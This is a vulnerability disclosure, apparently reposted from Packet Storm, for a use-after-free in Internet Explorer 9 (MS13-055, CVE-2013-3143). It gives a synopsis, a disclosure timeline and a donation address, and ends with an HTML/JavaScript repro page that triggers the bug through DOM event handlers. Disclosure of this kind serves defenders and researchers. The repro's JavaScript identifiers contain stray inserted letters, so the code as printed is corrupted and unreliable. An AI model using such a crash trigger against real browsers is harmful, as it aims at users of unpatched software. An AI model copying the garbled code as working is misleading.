Microsoft Internet Explorer 9 IEFRAME CMarkup..RemovePointerPos Use-After-Free

2016-12-1500:00:00

SkyLined

packetstormsecurity.com

0.863 High

EPSS

Percentile

98.6%

JSON

`Since November I have been releasing details on all vulnerabilities I  
found that I have not released before. This is the 32nd entry in the  
series. This information is available in more detail on my blog at  
http://blog.skylined.nl/20161214001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
  
If you find these releases useful, and would like to help me make time  
to continue releasing this kind of information, you can make a donation  
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 9 IEFRAME CMarkup..RemovePointerPos use-after-free  
=======================================================  
(MS13-055, CVE-2013-3143)  
  
Synopsis  
--------  
A specially crafted web-page can trigger a use-after-free vulnerability  
in Microsoft Internet Explorer 9. I did not investigate this  
vulnerability thoroughly, so I cannot speculate on the potential impact  
or exploitability.  
  
Known affected software and attack vectors  
------------------------------------------  
* **Microsoft Internet Explorer 9**  
  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker  
from triggering the vulnerable code path.  
  
Details  
-------  
This bug was found back when I had very little knowledge and tools to do  
analysis on use-after-free bugs, so I have no details to share. ZDI  
revealed that this was a use-after-free vulnerability, though their  
advisory (at http://www.zerodayinitiative.com/advisories/ZDI-13-163/)  
mentions an iframe, which is not in the repro I provided.  
  
Time-line  
---------  
* Sometime in November 2012: This vulnerability was found through fuzzing.  
* 11 November 2012: This vulnerability was submitted to EIP.  
* 10 December 2012: This vulnerability was rejected by EIP.  
* 12 December 2012: This vulnerability was submitted to ZDI.  
* 25 January 2013: This vulnerability was acquired by ZDI.  
* 15 February 2013: This vulnerability was disclosed to Microsoft by  
ZDI.  
* 26 July 2013: This vulnerability was address by Microsoft in MS13-055.  
* 14 December 2016: Details of this vulnerability are released.  
  
Cheers,  
  
SkyLined  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<script>  
document.addAEventAListener("load", function (){  
document.documentAElement.removeANode(true);  
}, true);  
document.addAEventAListener("DOMNodeARemoved", function (){  
document.write("");  
}, true);  
</script>  
<style>  
</style>  
<span dir="rtl">  
<ruby dir="ltr">  
<br/>  
</ruby>  
</span>  
</html>  
  
`

0.863 High

EPSS

Percentile

98.6%

JSON

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